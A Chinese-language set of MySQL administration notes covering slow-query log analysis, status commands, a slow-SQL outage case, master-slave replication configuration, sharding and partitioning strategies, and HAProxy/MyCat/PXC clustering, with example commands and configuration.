select * from orderheader where changetime >@chgtime
@chgtime变量可以传入任何值,这样大量的类似查询可以重用该执行计划了,这可以大大降低数据库解析SQL语句的负担,一次解析多次重用是提高数据库效率的原则。
# 在大批量导入时先禁用索引,完全导入后再开启索引,一次性完成重建索引的效率会相对高很多,能比前者快1.2倍左右,这也是LOAD DATAL INFILE相对较快的原因之一
LOCK TABLES `ci_contact` WRITE;
/*!40000 ALTER TABLE `ci_contact` DISABLE KEYS */;
INSERT INTO `ci_contact` VALUES (1,'康志','100',5,'001'), (2,'00111','12222',5,'001'), (3,'111','111',6,'001');
/*!40000 ALTER TABLE `ci_contact` ENABLE KEYS */;
UNLOCK TABLES;
【 慢查询日志分析工具mysqldumpslow 】
mysqldumpslow的常用参数:
-s 后面接下面的参数表示mysqldumpslow结果显示的顺序
c query执行的次数
t sql执行的时间
l lock锁表的时间
r sql返回的行数
ac,at,al,ar,表示倒序排列
-t,是top n,即为返回前面n条数据。
-g,后边可以写一个正则匹配模式,大小写不敏感
显示执行时间最长的前两个
# mysqldumpslow -s t -t 2 /opt/mysql/data/slowquery.log
Reading mysql slow query log from /opt/mysql/data/slowquery.log
Count: 2 Time=412.54s (825s) Lock=0.00s (0s) Rows=1.0 (2),root[root]@localhost
select count(N) from sbtest ,t1 where t1.c=sbtest.c
Count: 1 Time=778.20s (778s) Lock=0.00s (0s) Rows=1.0 (1),root[root]@localhost
select count(N) from sbtest where sbtest.id not in ( select id from t1 )
#显示次数最多的前两个
# mysqldumpslow -s c -t 2 /opt/mysql/data/slowquery.log
Reading mysql slow query log from /opt/mysql/data/slowquery.log
Count: 12 Time=0.00s (0s) Lock=0.00s (0s) Rows=1.0 (12),root[root]@localhost
select count(N) from tab_1
Count: 2 Time=412.54s (825s) Lock=0.00s (0s) Rows=1.0 (2),root[root]@localhost
select count(N) from sbtest ,t1 where t1.c=sbtest.c
【 列举几种查看MySQL运行状况的方法 】
phpMyAdmin
最简单的方式在phpMyAdmin直接点击状态查看MySQL的一些运行状况数值,phpMyAdmin提供优化建议还是很具有指导性和参考性的。
SHOW STATUS
直接在命令行下登陆MySQL运行SHOW STATUS;查询语句查看MySQL运行情况
mysql> status;
--------------
mysql Ver 14.14 Distrib 5.7.9,for Win64 (x86_64)
Connection id: 7
Current database:
Current user: root@localhost
SSL: Not in use
Using delimiter: ;
Server version: 5.7.9-log MySQL Community Server (GPL)
Protocol version: 10
Connection: 127.0.0.1 via TCP/IP
Server characterset: latin1
Db characterset: latin1
Client characterset: gbk
Conn. characterset: gbk
TCP port: 3306
Uptime: 1 day 18 hours 36 min 11 sec
Threads: 1 Questions: 62 Slow queries: 0 Opens: 114 Flush tables: 1 Open tables: 107 Queries per second avg: 0.000
--------------
SHOW VARIABLES
查看MySQL的配置参数,还可以使用类似SHOW VARIABLES LIKE 'Key%'
SHOW PROCESSLIST
查看当前正在进行的进程,对于有锁表等情况的排查很有用处,一般打开MySQL的慢查询记录同样有利于排查。
SHOW OPEN TABLES
显示当前已经被打开的表列表。
mysqladmin status
使用MySQL自带的mysqladmin工具查看status
mysqladmin -uroot --password='password' status
Uptime: 87117 Threads: 1 Questions: 5481626 Slow queries: 16 Opens: 2211 Flush tables: 1 Open tables: 512 Queries per second avg: 62.923
mysqladmin -uroot --password='password' status -i 5 // 添加 -i 5 参数,让其每五秒自动刷新
mysqladmin extended-status
同样可用mysqladmin -uroot --password='password' extended-status查看更多MySQL运行详细信息
慢查询引发的事故
慢查询的优化首先要搞明白慢的原因是什么?是查询条件没有命中索引?是load了不需要的数据列?还是数据量太大?所以优化也是针对这三个方向来的,
1、首先分析语句,看看是否load了额外的数据,可能是查询了多余的行并且抛弃掉了,可能是加载了许多结果中并不需要的列,对语句进行分析以及重写。
2、分析语句的执行计划,然后获得其使用索引的情况,之后修改语句或者修改索引,使得语句可以尽可能的命中索引。
3、如果对语句的优化已经无法进行,可以考虑表中的数据量是否太大,如果是的话可以进行横向或纵向的分表。
web系统出问题了,很多用户反馈访问不了,客服MM的电话都快被打爆了,需要尽快解决
短时间只能重启服务器和数据库,但这个只能临时解决问题,何况要是全部重启了,引起这次事故的原因也不好分析
开始查看服务器的日志,查看web应用服务器、mysql数据库、redis数据库的性能监控等一系列的日常操作,最终发现web应用服务器和mysql服务器的CPU突然飙升了。
以为用户访问量猛增造成的,但一查访问日志并没有,web应用服务器的连接数比平时大很多,再加上mysql数据库CPU飙升,根据经验判断基本上是由于慢sql原因引起的
select * from information_schema.processlist where state='Sending data';
查看当前正在执行的sql语句的情况,包括具体的sql语句和已经执行的时间,发现有一条sql执行了好多次且时间都超过10s,数据库的链接数都被这条sql给折腾的差不多了。
explain select * from information_schema.processlist where state='Sending data';
explain分析了下这条sql的执行计划,发现它连索引都没走。问题的根本原因找到了,解决办法就是加个索引就行,但这个表数据量比较多,加索引需要花很长时间,一般这些操作都会在晚上用户比较少的时候进行的。
要手动地去kill掉当前的慢查询,写一段sql脚本用于生成kill慢进程
select concat('KILL ',id,';') from information_schema.processlist p inner
join information_schema.INNODB_TRX x on p.id=x.trx_mysql_thread_id where db='test';
用这个脚本一直刷,然后再把索引加上了,系统终于恢复正常了
负责管理公司的运营系统,一个提供缴费服务的接口服务器,有一天遇到和一样的情况,cpu突然爆满服务器无响应,客服电话打爆。第一时间是重新启动,然后阿里云弹性部署硬件配置,带宽都临时提升一天,5分钟后恢复正常,然后花了2小时才明确了也是慢sql问题
说明有大问题 1.这么样子的慢SQL,没有加索引都没有任何的上线前code review阶段发现 2没有任何的监控报警系统,日志系统,CPU都这样了还要用户告知?3就算用kill 方式也可以直接把所有的慢SQLid一次处理的
PHP+Mysql实现读写分离
读写分离的实现原理是在执行SQL语句时判断到底是读操作还是写操作,把读的操作转向到读服务器上(从服务器,���般是多台),写的操作转到写的服务器上(主服务器,一般是一台,视数据量来看)master-slave 主从复制
主从复制是用来建立一个和主数据库完全一样的数据库环境,称为从数据库;主数据库一般是准实时的业务数据库 mysql主从同步: 当master(主)库的数据发生变化的时候,变化会实时的同步到slave(从)库。 【 主从复制的作用 】 1、数据备份,做数据的热备,作为后备数据库,主数据库服务器故障后,可切换到从数据库继续工作,避免数据丢失。 2、架构的扩展,水平扩展数据库的负载能力。业务量越来越大,I/O访问频率过高,单机无法满足,此时做多库的存储,降低磁盘I/O访问的频率,提高单个机器的I/O性能。 3、读写分离,使数据库能支撑更大的并发。在报表中尤其重要,由于部分报表sql语句非常的慢,导致锁表,影响前台服务。如果前台使用master,报表使用slave,那么报表sql将不会造成前台锁,保证了前台速度。 4、容错,高可用。Failover(失败切换)/High Availability 【 主从同步的原理 】 MySQL要做到主从复制,其实依靠的是二进制日志。 Master的日志功能把自己所做的增删改(Insert、Delete、Update)的动作全都记录在日志中,Slave只需要拿到这份日志,照着日志上面的动作施加到自己身上就实现了主从复制。 步骤一: 主库db的更新事件(update、insert、delete)被写到binlog 步骤二: 从库发起连接,连接到主库 步骤三: 此时主库创建一个binlog dump thread,把binlog的内容发送到从库 步骤四: 从库启动之后,创建一个I/O线程,读取主库传过来的binlog内容并写入到relay log 步骤五: 还会创建一个SQL线程,从relay log里面读取内容,从Exec_Master_Log_Pos位置开始执行读取到的更新事件,将更新内容写入到slave的db 不管是delete、update、insert,还是创建函数、存储过程,所有的操作都在master上。当master有操作的时候,slave会快速的接收到这些操作实现同步 主从同步事件 在master机器上,主从同步事件会被写到特殊的log文件中(binary-log); 在slave机器上,slave读取主从同步事件,并根据读取的事件变化,在slave库上做相应的更改,从而实现主从同步 主从同步事件有3种形式: statement: 将对数据库操作的sql语句写入到binlog中。 row: 将每一条数据的变化写入到binlog中。 mixed: statement与row的混合,Mysql决定什么时候写statement格式的,什么时候写row格式的binlog。 在master机器上的操作 当master上的数据发生改变的时候,该事件(insert、update、delete)变化会按照顺序写入到binlog中。 binlog dump线程 当slave连接到master的时候,master机器会为slave开启binlog dump线程。当master的binlog发生变化的时候,binlog dump线程会通知slave,并将相应的binlog内容发送给slave。 在slave机器上的操作 当主从同步开启的时候slave上会创建2个线程 1、I/O线程,该线程连接到master机器,master机器上的binlog dump线程会将binlog的内容发送给该I/O线程,该I/O线程接收到binlog内容后,再将内容写入到本地的relay log。 2、SQL线程,该线程读取I/O线程写入的relay log,并且根据relay log的内容对slave数据库做相应的操作。 对于每一个主从复制的连接都有三个线程,拥有多个从库的主库为每一个连接到主库的从库创建一个binlog输出线程,每一个从库都有它自己的I/O线程和SQL线程 在master、slave上使用SHOW PROCESSLIST命令可以查看上述的线程 在master机器上查看command字段即binlog dump线程 在slave机器上查看state字段即I/O、SQL线程 【 Mysql主从同步配置 】 2台机器: master IP:192.168.33.22 slave IP:192.168.33.33 master机器上的操作 1、更改配置文件/etc/mysql/mysql.conf.d/mysqld.cnf [mysqld] bind-address = 192.168.33.22 # your master ip,注释掉bind-address = 127.0.0.1,不然mysql无法远程 server-id = 1 # 服务器唯一ID,默认1,一般取IP最后一段,master-slave架构中每台机器节点都要有唯一的server-id,可自定义,但要保持它的唯一性,是服务器的唯一标识 log_bin = /var/log/mysql/mysql-bin.log # 启动MySQL二进制日志,开启binlog binlog_do_db = my_db01 # 指定记录二进制日志的数据库,如果有多个数据库可重复此参数,每个数据库一行 binlog_ignore_db = mysql # 指定不记录二进制日志的数据库,这里指不同步mysql系统数据库 注释掉binlog_do_db 和 binlog_ignore_db则表示备份全部数据库 binlog_format=mixed # 二进制日志的格式,有三种:statement/row/mixed 2、重启mysql使配置文件生效 sudo service mysqld restart 3、登陆主服务器mysql创建从服务器用到的账户和权限,创建主从同步的mysql user,从服务器通过这个账号才能到主服务器上同步主服务器的日志文件 $ mysql -u root -p # 创建slave1用户,并指定该用户只能在主机192.168.33.33上登录。 mysql> CREATE USER 'slave1'@'192.168.33.33' IDENTIFIED BY 'slavepass'; # 为slave1赋予REPLICATION SLAVE权限。 mysql> GRANT REPLICATION SLAVE ON *.* TO 'slave1'@'192.168.33.33'; 新建密码为slavepass的slave1用户,并赋予replication slave 权限 mysql> GRANT REPLICATION SLAVE ON *.* TO 'slave1'@'192.168.33.33' IDENTIFIED BY 'slavepass'; 4、为MYSQL加读锁 为了主库与从库的数据保持一致,先为mysql加入读锁,使其变为只读。 mysql> FLUSH TABLES WITH READ LOCK; 5、查看主数据库的状态,记录下来MASTER REPLICATION LOG 的位置,保存File和Position是配置从MySQL时的参数 mysql> SHOW MASTER STATUS; +------------------+----------+--------------+------------------+-------------------+ | File | Position | Binlog_Do_DB | Binlog_Ignore_DB | Executed_Gtid_Set | +------------------+----------+--------------+------------------+-------------------+ | mysql-bin.000001 | 613 | | | | +------------------+----------+--------------+------------------+-------------------+ 6、将master DB中现有的数据信息导出 $ mysqldump -u root -p --all-databases --master-data > dbdump.sql 7、解除master DB的读锁 mysql> UNLOCK TABLES; 8、将步骤6中的dbdump.sql文件copy到slave scp dbdump.sql ubuntu@192.168.33.33:/home/ubuntu slave机器上的操作 更改配置/etc/mysql/mysql.conf.d/mysqld.cnf [mysqld] bind-address = 192.168.33.33 #your slave ip server-id = 2 #master-slave结构中,唯一的server-id,设置成与主服务器不同的ID log_bin = /var/log/mysql/mysql-bin.log #开启binlog relay-log = slave-relay-bin relay-log-index = slave-relay-bin.index binlog_do_db=test_db # 同步的数据库 2、重启mysql,以使配置文件生效 sudo service mysqld restart 3、导入从master DB导出的dbdump.sql文件,以使master-slave数据一致 $ mysql -u root -p < /home/ubuntu/dbdump.sql 4、使slave与master建立连接,从而同步 $ mysql -u root -p mysql> STOP SLAVE; # 停止同步命令,一定要先关闭 Query OK,0 rows affected,1 warning (0.00 sec) mysql> CHANGE MASTER TO -> MASTER_HOST='192.168.33.22', -> MASTER_USER='slave1', -> MASTER_PASSWORD='slavepass', -> MASTER_LOG_FILE='mysql-bin.000001', // 从上面的SHOW MASTER STATUS得到 -> MASTER_LOG_POS=613; // 从上面的SHOW MASTER STATUS得到 Query OK,0 rows affected,2 warnings (0.01 sec) mysql> START SLAVE; # 登录Slave从服务器,连接Master主服务器;重新启动数据同步 Query OK,0 rows affected (0.00 sec) 经过如此设置之后,就可以进行master-slave同步,检查从服务器复制功能状态,Slave_IO_Running和Slave_IO_Running都为Yes表示成功 mysql> show slave status\G slave_IO_Running:yes slave_SQL_Running:yes 创建一个只读帐号(保证从MySQL不能修改数据库数据) MySQL [(none)]> GRANT Select ON *.* TO reader@"%" IDENTIFIED BY "123456" 从主从服务器测试结果 在主服务器创建一个数据库,在从服务器上查看刚才创建的数据库 Slave机器上的两个关键进程死一个都不行,一个是slave_sql_running负责自己的slave mysql进程,一个是Slave_IO_Running负责与主机的io通信 1、Slave_SQL_Running为No解决办法如下: MySQL [(none)]> stop slave; MySQL [(none)]> SET GLOBAL SQL_SLAVE_SKIP_COUNTER=1; START SLAVE; MySQL [(none)]> start slave; MySQL [(none)]> show slave status\G; 2、slave_io_running为No解决办法如下: 查看主服务器状态: MySQL [(none)]> show master status\G; 对照下从服务器里的Master_Log_File是否和主服务器里的File一致,不一致则在从服务器运行: MySQL [(none)]> slave stop; MySQL [(none)]> CHANGE MASTER TO MASTER_LOG_FILE='mysql-bin.xxxxx', MASTER_LOG_POS=0; //mysql-bin.xxxxx为主服务器查出来的值 MySQL [(none)]> slave start; MySQL [(none)]> show slave status\G;
mysql数据库集群方案
【 集群和分布式 】 「集群」的核心在「冗余」,通过冗余来提高系统的「可用性」,附带影响了系统「容量」。 「分布式」的核心在「拆分」,通过拆分后的分工合作,提高系统的「响应」和「容错能力」,附带影响了「可用性」。 区分「集群」和「分布式」的方法就是这一组系统/组件之间是「冗余」关系,还是「分工合作」关系。 单机结构 将所有的代码都放在一个项目,再将这个项目部署在一台服务器上,整个项目所有的服务都由这台服务器提供,这就是单机结构。在访问量不高的情况下,单体架构是可以承受的,但是单机的处理能力毕竟是有限的,当业务增长到一定程度的时候,单机的硬件资源将无法满足业务需求,此时便衍生出了集群模式。 集群 就是将同一个业务部署在多个服务器上,当单机处理到达瓶颈时就把单机项目复制几份,构成一个"集群"。集群中的每台服务器叫做这个集群的一个"节点",每个节点都提供相同的服务,这样系统的处理能力就相当于提升了好几倍。那么在效率提高的同时是如何来解决访问哪台机器的分配问题呢?这时便出现了负载均衡服务器,它可以使得每个节点的压力都比较平均,用户的所有请求都先交给负载均衡服务器,然后由负载均衡服务器根据当前所有节点的负载情况,决定将这个请求交给哪个节点处理。一般采用Nginx作为负载均衡服务器。 集群结构的优点是系统扩展非常容易。随着业务的发展,只需要给这个集群增加节点即可。但当业务发展到一定程度时,无论怎么增加节点,整个集群的性能提升效果好像都不明显了。此时,便衍生出了分布式。 分布式 就是将一个业务分拆成多个子业务,部署在不同的服务器上,每台服务器都承担不同的责任。这样分模块部署最主要的优点是实现业务隔离,也就是说个别功能出现问题或发生改进都不会影响其他模块,就算个别模块挂掉了,其他模块也能够不受影响继续运作。系统之间的耦合度大大降低,可以独立开发、独立部署、独立测试,系统与系统之间的边界非常明确,排错也变得相当容易,开发效率大大提升,从而系统更易于扩展,并且可以针对性地扩展某些服务。 从单机结构到集群模式,代码基本无需做修改,要做的仅仅是多部署几台服务器,让每台服务器上运行相同的代码。 分布式就是将一个完整的系统,按照业务功能拆分成一个个独立的子系统,这些子系统能够独立运行在web容器中,它们之间通过RPC方式通信。 总体来说,集群强调的是高可用,分布式强调的是多业务协作。 【 主从延迟 】 业务场景: 用户反馈说看不到刚提交的数据或者没更新成功,或者触发了非正常流程能理解的逻辑,排查后发现数据正常 解决方案: 只要数据库(mysql,redis)部署是主从分离的,多多少少都会遇到过这种问题 低概率场景,就是数据写入/更新到主库,从库因为网络抖动等原因,没有及时同步到,然后查询的时候走的是从库,导致查到的是脏数据,这种情况就只能竟可能保障服务器环境稳定 其实出现这种问题比较多的情况是,insert/update到主库成功后马上就查询数据,这时可能数据还没同步到从库,虽然主从同步会比较快,但还是有一定的延迟性 这种情况就需要将查询指定到主库上进行操作,就可以避免主从延迟,查询不到最新数据的问题 【 分库分表分区 表的拆分,大表拆小表 】 随着业务快速发展,数据库中的数据量猛增,访问性能也变慢了,优化迫在眉睫。分析了下问题出现在哪儿呢?关系型数据库本身比较容易成为系统瓶颈、单机存储容量、连接数、处理能力有限。当单表的数据量达到1000W或100G以后,由于查询纬度较多,及时添加从库、优化索引,做很多操作时性能仍下降严重。 方案一: 通过提升服务其硬件能力来提高数据处理能力,比如增加存储容量、cpu等,这种方案成本比较高,并且瓶颈在MySql本身,那么提高硬件也是有限的。 方案二: 通过把数据分散到不同的数据库中,使得单一数据库的数据量变小来缓解单一数据库的性能问题,从而达到提升数据库性能的目的。比如:将电商数据库拆分为若干独立的数据库,并且对于大表来说也拆分为若干小表,通过这种数据库拆分的方法来解决数据库的性能问题。 因此,分库分表的目的就是为了解决由于数据量过而导致数据库性能降低的问题,将原来独立的数据库拆分为若干数据库组成,将数据大表拆分成若干数据表,使得单一数据库、单一数据表的数据量变小,从而达到提升数据库性能的目的。 分库分表的方式在生产中通常包括:垂直分库、垂直分表、水平分库和水平分表四种 1、垂直分表 垂直分表定义:将一个表按字段分成多表,每个表存储其中一部分字段。 以商品信息表为例:用户在浏览商品列表时,只有对商品感兴趣时才会点进去查看商品的详细描述信息。因此商品信息中商品描述字段访问频率比较低,且该字段存储占用空间较大,访问单个商品IO时间较长;商品信息表中商品名称、商品图片、商品价格等其它字段数据访问频率较高。 由于这两种数据特性不一样,因此考虑将商品信息表拆分为两个小表(t_goods_01,t_goods_02),将访问频率低的商品描述信息单独存放在一张表中(t_goods_01),将访问频率高的商品基本信息单独放在另一张表中(t_goods_02)。 带来的提升是: 为了避免IO争抢并减少锁表的几率,查看详情的用户与商品信息浏览互不影响。 充分发挥热门数据的操作效率,商品信息的操作的高效率不会被商品描述的低效率拖累。 为什么大字段IO效率低: 第一由于数据量本身大,需要更长的读取时间; 第二是跨页,页是数据存储单位,很多查找及定位操作都是以页为单位,单页内的数据行越来越多数据库整体性能越好,而大字段占用空间大,单页内存储行数少,因此IO效率低。 第三,数据库以行为单位将数据加载到内存中,这样表中字段长度较短且访问频率较高,内存能加载更多的数据,命中率高,减少了磁盘IO,从而提升了数据库性能。 一般来说,某业务实体中的各个数据项的访问频率是不一样的,部分数据项可能是占用存储空间比较大的。例如商品描述。所以当表数据量大时,可以将表按字段切开,将热门字段、冷门字段分别放一个表。 垂直拆分 就是列的拆分,将原来的一个有很多列的表拆分成多张表 垂直拆分应该在数据表设计之初就执行的步骤,然后查询的时候用jion关键起来即可; 缺点也很明显,需要使用冗余字段,而且需要join操作。 通常按以下原则进行垂直拆分: 把不常用的字段单独放在一张表; 把text,blob等大字段拆分出来放在附表中; 经常组合查询的列放在一张表中; (1)、概念:以字段为依据,按照字段的活跃性,将表中字段拆到不同的表(主表和扩展表)中。 (2)、结果:每个表的结构都不一样;每个表的数据也不一样,一般来说,每个表的字段至少有一列交集,一般是主键,用于关联数据;所有表的并集是全量数据; (3)、场景:系统绝对并发量并没有上来,表的记录并不多,但字段多,并且热点数据和非热点数据在一起,单行数据所需的存储空间较大。以至于数据库缓存的数据行减少,查询时会去读磁盘数据产生大量的随机读IO,产生IO瓶颈。 (4)、分析:可以用列表页和详情页来帮助理解。垂直分表的拆分原则是将热点数据(可能会冗余经常一起查询的数据)放在一起作为主表,非热点数据放在一起作为扩展表。这样更多的热点数据就能被缓存下来,进而减少了随机读IO。拆了之后,要想获得全部数据就需要关联两个表来取数据。但记住,千万别用join,因为join不仅会增加CPU负担并且会讲两个表耦合在一起(必须在一个数据库实例上)。关联数据,应该在业务Service层做文章,分别获取主表和扩展表数据然后用关联字段关联得到全部数据。 2、垂直分库 通过垂直分表性能得到了一定程度的提升,但还没有达到要求,并且磁盘空间也快不够了,因为数据还是始终限制在一台服务器,库内垂直分表直接就了单一表数据量过大的问题,但没有将表分布到不同的服务器上,因此每个表还是竞争同一个物理机的CPU、内存、网络IO和磁盘。 所以把原有的卖家表,分为了商品库和店铺库,并把这两个库分散到不同的服务器 由于商品信息与商品描述业务耦合度较高,因此一起被存放在商品库;而店铺信息相对独立,因此单独被放到店铺库。 垂直分库是指按照业务将表进行分类,分布到不同的数据库上面,每个库可以放在不同的服务器上,它的核心理念是专库专用。 它的提升是: 解决业务层面的耦合,业务清晰 能对不同业务的数据进行分级管理、维护、监控和扩展等 高并发场景下,垂直分库一定程度上提升IO、数据库连接和降低单机硬件资源的瓶颈 最后,垂直分库通过将表按业务分类,然后分布不同的数据库,并且可以将这些数据库部署在不同的服务器上,从而达到多个服务器共同分摊压力的效果,但是依然没有解决单表数据量过大的问题。 (1)、概念:以表为依据,按照业务归属不同,将不同的表拆分到不同的库中。 (2)、结果:每个库的结构都不一样;每个库的数据也不一样,没有交集;所有库的并集是全量数据; (3)、场景:系统绝对并发量上来了,并且可以抽象出单独的业务模块。 (4)、分析:到这一步,基本上就可以服务化了。例如,随着业务的发展一些公用的配置表、字典表等越来越多,这时可以将这些表拆到单独的库中,甚至可以服务化。再有,随着业务的发展孵化出了一套业务模式,这时可以将相关的表拆到单独的库中,甚至可以服务化。 3、水平分库 经过垂直分库后,数据库性能得到了一定程度上的解决,但随着业务的增长,商品库单库存储数据已经超出预估。粗略估计,目前有8w个店铺,每个店铺平均150个不同规格的商品,再算上增长,商品数量得往1500w+上预估,并且商品库属于访问频率非常高的资源,单台服务器已经无法支撑。 此时此刻该如何优化呢? 再次分库?但是从业务角度来分析,目前情况已经无法再垂直分库了。 尝试水平分库,将店铺ID为单数的和店铺ID为偶数的商品信息分布存在两个表中。 要操作某条数据,先分析这条数据所属的店铺ID,店铺ID为偶数则将此操作映射到DB1,店铺ID为单数则将操作映射到DB2。此操作要访问数据库名称的表达式为:店铺ID%2 + 1。 水平分库就是把同一个表的数据按一定规则拆到不同的数据库中,每个库可以放在不同的服务器上。 对比:垂直分库是不同表拆到不同数据库中,它是对数据行的拆分,不影响表结构。 水平分库的提示是: 解决了单库大数据,高并发的性能瓶颈。 提高了系统的稳定性和可用性。 当一个应用难以再细粒度的垂直拆分,或切分后数据量行数巨大,存在单库读写、存储性能瓶颈,这时就需要进行水平分库了,经过水平切分的优化,往往能解决单库存储量及性能的瓶颈。但是由于同一个表被分配在不同的数据库,需要额外进行数据操作的路由工作,因此大大提示了系统的复杂度。 (1)、概念:以字段为依据,按照一定策略(hash、range等),将一个库中的数据拆分到多个库中。 (2)、结果:每个库的结构都一样;每个库的数据都不一样,没有交集;所有库的并集是全量数据; (3)、场景:系统绝对并发量上来了,分表难以根本上解决问题,并且还没有明显的业务归属来垂直分库。 (4)、分析:库多了,io和cpu的压力自然可以成倍缓解 4、水平分表 按照水平分库的思路对商品库内的表也进行水平拆分,其目的是为了解决单表数据量大的问题 与水平分库的思路类似,不过这次操作的目标是表,商品信息及商品描述被分成了两套表。如果商品ID为偶数,则将此类商品操作映射到商品信息1表;如果商品ID为单数,则将操作映射到商品信息2表。此操作要访问表名称的表达式为:商品信息[商品ID%2 + 1]。 水平分表就是在同一个数据库内,把同一个表的数据按一定规则拆到多个表中(对数据的拆分,不影响表结构)。 它带来的提升是: 优化单一表数据量过大而产生的性能问题 避免IO争抢并减少锁表的几率 库内的水平分表,解决了单一表数据量过大的问题;分出来的小表中只包含一部分数据,从而使得单个表的数据量变小,提高检索性能。 (1)、概念:以字段为依据,按照一定策略(hash、range等),将一个表中的数据拆分到多个表中。 (2)、结果:每个表的结构都一样;每个表的数据都不一样,没有交集;所有表的并集是全量数据; (3)、场景:系统绝对并发量并没有上来,只是单表的数据量太多,影响了SQL效率,加重了CPU负担,以至于成为瓶颈。 (4)、分析:表的数据量少了,单次SQL执行效率高,自然减轻了CPU的负担。 水平拆分 某个表的记录太多例如超过一千万条则要对该表进行水平分割,水平分割的做法是以该表主键的某个值为界线,将该表的记录水平分割为两个表 还可以用增量法,如流水这类不会改变的数据用增量查询。 1.创建一张日充值表,记录每天充值总额 2.每天用定时器对当前充值记录进行结算 3.创建每月充值表,每月最后一天用定时器计算总额 4.要查询总额则从月报表中汇总,再从日报表查询当天之前的数据汇总,再加上今天的使用当天流水表记录今天的流水,三张表加起来汇总,这样子效率极好 总结 分库分表的方式有四种,它们分别是:垂直分表、垂直分库、水平分库和水平分表。 垂直分表:把一个宽表的字段按照访问频率、是否大字段的原则拆分为多个表,既能使业务清晰,还能提高部分性能。拆分后尽量从业务角度避免联查,否则性能方面将得不偿失。 垂直分库:把多个表按照业务的耦合性来进行分类分别存放在不同的数据库中,这些库可以分布在不同的服务器,从而使访问压力被分摊在多个服务器,大大提高性能,同时能提高整体架构的业务清晰度,不同的业务库可根据自身情况定制优化方案,但需要解决跨库带来的所有复杂问题。 水平分库:把一个表的数据(按数据行)分到多个不同的库,每个库只有这个表的部分数据,这些库可以分布在不同的服务器,从而使访问压力被多服务器负载,提升性能。它不仅需要解决跨库带来的问题,还需要解决数据路由的问题。 水平分表:把一个表的数据(按数据行)分到多个同一个数据库的多张表中,每个表的数据只有这个表的部分数据,这样做能小幅提升性能,它仅仅作为水平分库的一个补充优化。 一般来说,在系统设计阶段就应该根据业务耦合程度来确定用哪种分库分表的方式(方案),在数据量及访问压力不是特别大的情况,首先考虑缓存、读写分离、索引技术等方案。若数据量极大,且连续增长,再考虑水平分库水平分表的方案。 数据库瓶颈 不管是IO瓶颈,还是CPU瓶颈,最终都会导致数据库的活跃连接数增加,进而逼近甚至达到数据库可承载活跃连接数的阈值。在业务Service来看就是,可用数据库连接少甚至无连接可用。接下来就可以想象了吧(并发量、吞吐量、崩溃)。 1、IO瓶颈 第一种:磁盘读IO瓶颈,热点数据太多,数据库缓存放不下,每次查询时会产生大量的IO,降低查询速度 -> 分库和垂直分表。 第二种:网络IO瓶颈,请求的数据太多,网络带宽不够 -> 分库。 2、CPU瓶颈 第一种:SQL问题,如SQL中包含join,group by,order by,非索引字段条件查询等,增加CPU运算的操作 -> SQL优化,建立合适的索引,在业务Service层进行业务计算。 第二种:单表数据量太大,查询时扫描的行太多,SQL效率低,CPU率先出现瓶颈 -> 水平分表。 分库分表工具 1、sharding-sphere:jar,前身是sharding-jdbc; 2、TDDL:jar,Taobao Distribute Data Layer; 3、Mycat:中间件。 注:工具的利弊,请自行调研,官网和社区优先。 分库分表步骤 根据容量(当前容量和增长量)评估分库或分表个数 -> 选key(均匀)-> 分表规则(hash或range等)-> 执行(一般双写)-> 扩容问题(尽量减少数据的移动)。 水平分库分表,拆分策略为常用的hash法
高可用性、负载均衡的mysql集群解决方案
一个庞大的分布式系统的性能瓶颈中最脆弱的就是连接。连接有两个,一个是客户端与后端的连接,另一个是后端与数据库的连接。客户端与后端中可以利用类似nginx的负载均衡解决,而数据库层是最脆弱的一层,一般在应用设计时在上游就需要把请求拦截掉,数据库层只承担"能力范围内"的访问请求,所以通过在服务层引入队列和缓存,让最底层的数据库高枕无忧。
使用MySQL时随着时间的增长,用户量及数据量的逐渐增加,访问量剧增,最终将会使MySQL达到某个瓶颈,那么MySQL的性能将会大大降低,请求激增时还是有大量的查询压力到MySQL怎么办呢?
这时候集群出现了,在后端与数据库中可以利用类似mycat的负载均衡实现mysql集群,提高mysql的总体性能,可用组合很多,如LVS+keepalived组合、haproxy+keepalived组合
【 pxc集群方案:应对mysql数据库高并发,高性能高可用性 】
单节点数据库测试
// 5000并发连接测试,每个连接执行一次查询
mysqlslap -hlocalhost -uroot -p -P3306 --concurrency=5000 --iterations=1 --auto-generate-sql --auto-generate-sql-load-type=mixed --auto-generate-sql-add-autoincrement --engine=innodb --number-of-queries=5000
mysqlslap: Error when connecting to server: 2003 Can't connect to MySQL server on 'localhost' (10048)
mysqlslap: Error when connecting to server: 1040 Too many connections
Benchmark
Running for engine innodb
Average number of seconds to run all queries: 110.234 seconds
Minimum number of seconds to run all queries: 110.234 seconds
Maximum number of seconds to run all queries: 110.234 seconds
Number of clients running queries: 5000
Average number of queries per client: 1
读写强一致性,适合存储高价值重要数据
负载均衡
pxc各节点同步: 各节点数据库数据一致
replication集群
读写弱一致性,适合存储非高价值重要数据,如大数据收集用户喜好
阿里的mycat实现数据切分
减少mysql单表数据量: 再部署一个pxc集群,且两个集群数据不同步,两个集群即两个分片
APP
|_____________ 静态数据 __________\ 缓存
| /
MyCat
数据切分 | 数据切分 数据切分 数据切分
________________|__________________________________________________________
| | | |
HA HA HA HA
| | | |
负载均衡 | 负载均衡 负载均衡 | 负载均衡 负载均衡 | 负载均衡 负载均衡 | 负载均衡
———————————————————— —————————————————————— ———————————————————— —————————————————
| 同步 | 同步 | | 同步 | 同步 | | 同步 | 同步 | | | |
PXC PXC PXC PXC PXC PXC db db db db db db
| | | | | |
db db db db db db
【 采用HAProxy + MyCat组合实现MySQL高可用负载均衡技术 】
一、基本软件 版本
操作系统: CentOS-6.6-x86_64
JDK版本: jdk1.7.0_72
HAProxy版本: haproxy-1.5.16.tar.gz
MyCat版本: Mycat-server-1.4-release-20151019230038-linux.tar.gz
MySQL版本: mysql-5.6.26.tar.gz
二、部署环境规划:
HAProxy主机1 ip
MyCat主机1 ip
MyCat主机2 ip
Mysql主节点 ip
Mysql从节点 ip
HAProxy负责将请求分发到MyCat上,起到负载均衡的作用,同时HAProxy也能检测到MyCat是否存活,HAProxy只会将请求转发到存活的MyCat上。如果一台MyCat服务器宕机,HAPorxy转发请求时不会转发到宕机的MyCat上,所以MyCat依然可用
MyCat节点2的部署
MyCat主机2(edu-mycat-02,192.168.1.204)
edu-mycat-01(192.168.1.203)和 edu-mycat-02(192.168.1.204) 中都要加上(或更新)主机名映射配置。
# vi /etc/hosts
192.168.1.203 edu-mycat-01
192.168.1.204 edu-mycat-02
192.168.1.205 edu-mysql-01
192.168.1.206 edu-mysql-02
配置MyCat状态检查服务(在MyCat节点主机上配置)
